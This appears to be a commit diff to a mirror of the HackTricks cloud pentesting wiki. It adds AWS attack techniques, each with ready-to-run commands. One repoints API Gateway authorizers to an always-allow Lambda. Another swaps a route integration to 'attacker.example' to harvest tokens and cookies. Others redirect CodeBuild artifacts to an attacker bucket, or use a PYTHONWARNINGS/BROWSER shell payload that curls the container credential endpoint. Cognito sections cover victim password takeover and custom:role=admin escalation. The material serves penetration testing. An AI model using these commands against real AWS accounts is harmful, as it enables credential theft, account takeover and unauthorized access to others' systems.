mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
f
This commit is contained in:
@@ -19,6 +19,33 @@ Modify the resource policy of the API gateway(s) to grant yourself access to the
|
|||||||
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
|
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
|
||||||
Or just remove the use of the authorizer.
|
Or just remove the use of the authorizer.
|
||||||
|
|
||||||
|
If you have control-plane permissions to **create/update an authorizer** (REST API: `aws apigateway update-authorizer`, HTTP API: `aws apigatewayv2 update-authorizer`) you can also **repoint the authorizer to a Lambda that always allows**.
|
||||||
|
|
||||||
|
REST APIs (changes typically require a deployment):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
REGION="us-east-1"
|
||||||
|
REST_API_ID="<rest_api_id>"
|
||||||
|
AUTHORIZER_ID="<authorizer_id>"
|
||||||
|
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||||
|
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||||
|
|
||||||
|
aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||||
|
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"
|
||||||
|
```
|
||||||
|
|
||||||
|
HTTP APIs / `apigatewayv2` (often takes effect immediately):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
REGION="us-east-1"
|
||||||
|
API_ID="<http_api_id>"
|
||||||
|
AUTHORIZER_ID="<authorizer_id>"
|
||||||
|
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||||
|
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||||
|
|
||||||
|
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||||
|
```
|
||||||
|
|
||||||
### IAM Permissions
|
### IAM Permissions
|
||||||
|
|
||||||
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
|
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
|
||||||
@@ -33,4 +60,3 @@ Or just remove the use of API keys.
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -42,6 +42,31 @@ In the **Enumeration** section you can see how to **obtain the usage plan** of t
|
|||||||
|
|
||||||
The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.
|
The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.
|
||||||
|
|
||||||
|
### Swap Route Integration To Exfil Traffic (HTTP APIs / `apigatewayv2`)
|
||||||
|
|
||||||
|
If you can update an **HTTP API integration**, you can **repoint** a sensitive route (e.g. `/login`, `/token`, `/submit`) to an attacker-controlled HTTP endpoint and silently **collect headers and bodies** (cookies, `Authorization` bearer tokens, session ids, API keys, secrets sent by internal jobs, etc.).
|
||||||
|
|
||||||
|
Example workflow:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
REGION="us-east-1"
|
||||||
|
API_ID="<http_api_id>"
|
||||||
|
|
||||||
|
# Find routes and the integration attached to the interesting route
|
||||||
|
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
|
||||||
|
ROUTE_ID="<route_id>"
|
||||||
|
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
|
||||||
|
|
||||||
|
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
|
||||||
|
COLLECTOR_URL="https://attacker.example/collect"
|
||||||
|
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
|
||||||
|
```
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
|
||||||
|
- For **HTTP APIs**, changes usually take effect immediately (unlike REST APIs where you typically need to create a deployment).
|
||||||
|
- Whether you can point to an arbitrary URL depends on the integration type/config; in some cases you may also be able to change the integration type when patching it.
|
||||||
|
|
||||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||||
|
|
||||||
An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
|
An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
|
||||||
@@ -147,4 +172,3 @@ aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_K
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -71,7 +71,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
|||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Need testing
|
> Need testing
|
||||||
|
|
||||||
An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modify an existing API Gateway authorizer** to bypass security checks or to execute arbitrary code when API requests are made.
|
An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modify an existing API Gateway authorizer** to bypass security checks (e.g. repoint it to a Lambda that always returns "allow") or to execute arbitrary code when API requests are made.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
API_ID="your-api-id"
|
API_ID="your-api-id"
|
||||||
@@ -87,6 +87,20 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
|||||||
|
|
||||||
**Potential Impact**: Bypassing security checks, unauthorized access to API resources.
|
**Potential Impact**: Bypassing security checks, unauthorized access to API resources.
|
||||||
|
|
||||||
|
#### HTTP APIs / `apigatewayv2` variant
|
||||||
|
|
||||||
|
For HTTP APIs (API Gateway v2), the equivalent operation is updating the authorizer via `apigatewayv2`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
REGION="us-east-1"
|
||||||
|
API_ID="<http_api_id>"
|
||||||
|
AUTHORIZER_ID="<authorizer_id>"
|
||||||
|
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||||
|
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||||
|
|
||||||
|
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||||
|
```
|
||||||
|
|
||||||
### `apigateway:UpdateVpcLink`
|
### `apigateway:UpdateVpcLink`
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
@@ -108,4 +122,3 @@ aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -69,6 +69,73 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
|
|||||||
|
|
||||||
**Potential Impact:** Direct privesc to attached AWS Codebuild roles.
|
**Potential Impact:** Direct privesc to attached AWS Codebuild roles.
|
||||||
|
|
||||||
|
#### StartBuild Env Var Override
|
||||||
|
|
||||||
|
Even if you **can't modify the project** (`UpdateProject`) and you **can't override the buildspec**, `codebuild:StartBuild` still allows overriding env vars at build time via:
|
||||||
|
|
||||||
|
- CLI: `--environment-variables-override`
|
||||||
|
- API: `environmentVariablesOverride`
|
||||||
|
|
||||||
|
If the build uses environment variables to control behavior (destination buckets, feature flags, proxy settings, logging, etc.), this can be enough to **exfiltrate secrets** the build role can access or to get **code execution** inside the build.
|
||||||
|
|
||||||
|
##### Example 1: Redirect Artifact/Upload Destination to Exfiltrate Secrets
|
||||||
|
|
||||||
|
If the build publishes an artifact to a bucket/path controlled by an env var (for example `UPLOAD_BUCKET`), override it to an attacker-controlled bucket:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export PROJECT="<project-name>"
|
||||||
|
export EXFIL_BUCKET="<attacker-controlled-bucket>"
|
||||||
|
|
||||||
|
export BUILD_ID=$(aws codebuild start-build \
|
||||||
|
--project-name "$PROJECT" \
|
||||||
|
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
|
||||||
|
--query build.id --output text)
|
||||||
|
|
||||||
|
# Wait for completion
|
||||||
|
while true; do
|
||||||
|
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
|
||||||
|
[ "$STATUS" = "SUCCEEDED" ] && break
|
||||||
|
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
|
||||||
|
sleep 5
|
||||||
|
done
|
||||||
|
|
||||||
|
# Example expected location (depends on the buildspec/project logic):
|
||||||
|
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
|
||||||
|
```
|
||||||
|
|
||||||
|
##### Example 2: Python Startup Injection via `PYTHONWARNINGS` + `BROWSER`
|
||||||
|
|
||||||
|
If the build runs `python3` (common in buildspecs), you can sometimes get code execution without touching the buildspec by abusing:
|
||||||
|
|
||||||
|
- `PYTHONWARNINGS`: Python resolves the *category* field and will import dotted paths. Setting it to `...:antigravity.x:...` forces importing the stdlib module `antigravity`.
|
||||||
|
- `antigravity`: calls `webbrowser.open(...)`.
|
||||||
|
- `BROWSER`: controls what `webbrowser` executes. On Linux it is `:`-separated. Using `#%s` makes the URL argument a shell comment.
|
||||||
|
|
||||||
|
This can be used to print the CodeBuild role credentials (from `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`) into CloudWatch logs, then recover them if you have log read permissions.
|
||||||
|
|
||||||
|
<details>
|
||||||
|
<summary>Expandable: StartBuild JSON request for the <code>PYTHONWARNINGS</code> + <code>BROWSER</code> trick</summary>
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"projectName": "codebuild_lab_7_project",
|
||||||
|
"environmentVariablesOverride": [
|
||||||
|
{
|
||||||
|
"name": "PYTHONWARNINGS",
|
||||||
|
"value": "all:0:antigravity.x:0:0",
|
||||||
|
"type": "PLAINTEXT"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "BROWSER",
|
||||||
|
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
|
||||||
|
"type": "PLAINTEXT"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||||
|
|
||||||
An attacker with the **`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** permissions would be able to **escalate privileges to any codebuild IAM role** by creating a running one.
|
An attacker with the **`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** permissions would be able to **escalate privileges to any codebuild IAM role** by creating a running one.
|
||||||
@@ -385,4 +452,3 @@ More details could be found [here](https://www.shielder.com/blog/2023/07/aws-cod
|
|||||||
{{#include ../../../../banners/hacktricks-training.md}}
|
{{#include ../../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -145,7 +145,7 @@ This permission allows to login with the [**method ADMIN_USER_PASSWORD_AUTH**](.
|
|||||||
|
|
||||||
### `cognito-idp:AdminSetUserPassword`
|
### `cognito-idp:AdminSetUserPassword`
|
||||||
|
|
||||||
This permission would allow an attacker to **change the password of any user**, making him able to impersonate any user (that doesn't have MFA enabled).
|
This permission would allow an attacker to **set a known password for any user**, usually resulting in a **direct account takeover** (especially if the victim doesn't have MFA enabled, or MFA is not enforced for the relevant auth flow/client).
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
aws cognito-idp admin-set-user-password \
|
aws cognito-idp admin-set-user-password \
|
||||||
@@ -155,7 +155,34 @@ aws cognito-idp admin-set-user-password \
|
|||||||
--permanent
|
--permanent
|
||||||
```
|
```
|
||||||
|
|
||||||
**Potential Impact:** Direct privesc to potentially any user, so access to all the groups each user is member of and access to the Identity Pool authenticated IAM role.
|
Common workflow:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
REGION="us-east-1"
|
||||||
|
USER_POOL_ID="<user_pool_id>"
|
||||||
|
VICTIM_USERNAME="<victim_username_or_email>"
|
||||||
|
NEW_PASS='P@ssw0rd-ChangeMe-123!'
|
||||||
|
|
||||||
|
# 1) Set a permanent password for the victim (takeover primitive)
|
||||||
|
aws cognito-idp admin-set-user-password \
|
||||||
|
--region "$REGION" \
|
||||||
|
--user-pool-id "$USER_POOL_ID" \
|
||||||
|
--username "$VICTIM_USERNAME" \
|
||||||
|
--password "$NEW_PASS" \
|
||||||
|
--permanent
|
||||||
|
|
||||||
|
# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
|
||||||
|
CLIENT_ID="<user_pool_app_client_id>"
|
||||||
|
aws cognito-idp initiate-auth \
|
||||||
|
--no-sign-request --region "$REGION" \
|
||||||
|
--client-id "$CLIENT_ID" \
|
||||||
|
--auth-flow USER_PASSWORD_AUTH \
|
||||||
|
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"
|
||||||
|
```
|
||||||
|
|
||||||
|
Related permission: `cognito-idp:AdminResetUserPassword` can be used to force a reset flow for a victim (impact depends on how password recovery is implemented and what the attacker can intercept or control).
|
||||||
|
|
||||||
|
**Potential Impact:** Account takeover of arbitrary users; access to app-layer privileges (groups/roles/claims) and anything downstream trusting Cognito tokens; potential access to Identity Pool authenticated IAM roles.
|
||||||
|
|
||||||
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
|
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
|
||||||
|
|
||||||
@@ -194,8 +221,9 @@ aws cognito-idp set-user-pool-mfa-config \
|
|||||||
|
|
||||||
### `cognito-idp:AdminUpdateUserAttributes`
|
### `cognito-idp:AdminUpdateUserAttributes`
|
||||||
|
|
||||||
An attacker with this permission could change the email or phone number or any other attribute of a user under his control to try to obtain more privileges in an underlaying application.\
|
An attacker with this permission can change **any mutable attribute** of a User Pool user (including `custom:*` attributes) to try to gain privileges in an underlying application.
|
||||||
This allows to change an email or phone number and set it as verified.
|
|
||||||
|
A common high-impact pattern is **claim-based RBAC** implemented using **custom attributes** (for example `custom:role=admin`). If the application trusts that claim, updating it and then re-authenticating can bypass authorization without touching the app.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
aws cognito-idp admin-update-user-attributes \
|
aws cognito-idp admin-update-user-attributes \
|
||||||
@@ -204,7 +232,31 @@ aws cognito-idp admin-update-user-attributes \
|
|||||||
--user-attributes <value>
|
--user-attributes <value>
|
||||||
```
|
```
|
||||||
|
|
||||||
**Potential Impact:** Potential indirect privesc in the underlying application using Cognito User Pool that gives privileges based on user attributes.
|
Example: upgrade your own role and refresh tokens:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
REGION="us-east-1"
|
||||||
|
USER_POOL_ID="<user_pool_id>"
|
||||||
|
USERNAME="<your_username>"
|
||||||
|
|
||||||
|
# 1) Change the RBAC attribute (example)
|
||||||
|
aws cognito-idp admin-update-user-attributes \
|
||||||
|
--region "$REGION" \
|
||||||
|
--user-pool-id "$USER_POOL_ID" \
|
||||||
|
--username "$USERNAME" \
|
||||||
|
--user-attributes Name="custom:role",Value="admin"
|
||||||
|
|
||||||
|
# 2) Re-authenticate to obtain a token with updated claims
|
||||||
|
CLIENT_ID="<user_pool_app_client_id>"
|
||||||
|
PASSWORD="<your_password>"
|
||||||
|
aws cognito-idp initiate-auth \
|
||||||
|
--no-sign-request --region "$REGION" \
|
||||||
|
--client-id "$CLIENT_ID" \
|
||||||
|
--auth-flow USER_PASSWORD_AUTH \
|
||||||
|
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"
|
||||||
|
```
|
||||||
|
|
||||||
|
**Potential Impact:** Indirect privesc in applications trusting Cognito attributes/claims for authorization; ability to modify other security-relevant attributes (for example setting `email_verified` or `phone_number_verified` to `true` can matter in some apps).
|
||||||
|
|
||||||
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
|
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
|
||||||
|
|
||||||
@@ -314,4 +366,3 @@ For more information check [https://github.com/padok-team/cognito-scanner](https
|
|||||||
{{#include ../../../../banners/hacktricks-training.md}}
|
{{#include ../../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -49,6 +49,9 @@ aws codebuild list-reports
|
|||||||
aws codebuild describe-test-cases --report-arn <ARN>
|
aws codebuild describe-test-cases --report-arn <ARN>
|
||||||
```
|
```
|
||||||
|
|
||||||
|
> [!TIP]
|
||||||
|
> If you have `codebuild:StartBuild`, remember you can often override env vars at build time (`--environment-variables-override`). This is enough for some attacks even without `UpdateProject` or `buildspec` overrides (for example: redirecting artifact/upload buckets to exfiltrate secrets, or abusing language/runtime env vars to execute commands).
|
||||||
|
|
||||||
### Privesc
|
### Privesc
|
||||||
|
|
||||||
In the following page, you can check how to **abuse codebuild permissions to escalate privileges**:
|
In the following page, you can check how to **abuse codebuild permissions to escalate privileges**:
|
||||||
@@ -77,4 +80,3 @@ In the following page, you can check how to **abuse codebuild permissions to esc
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user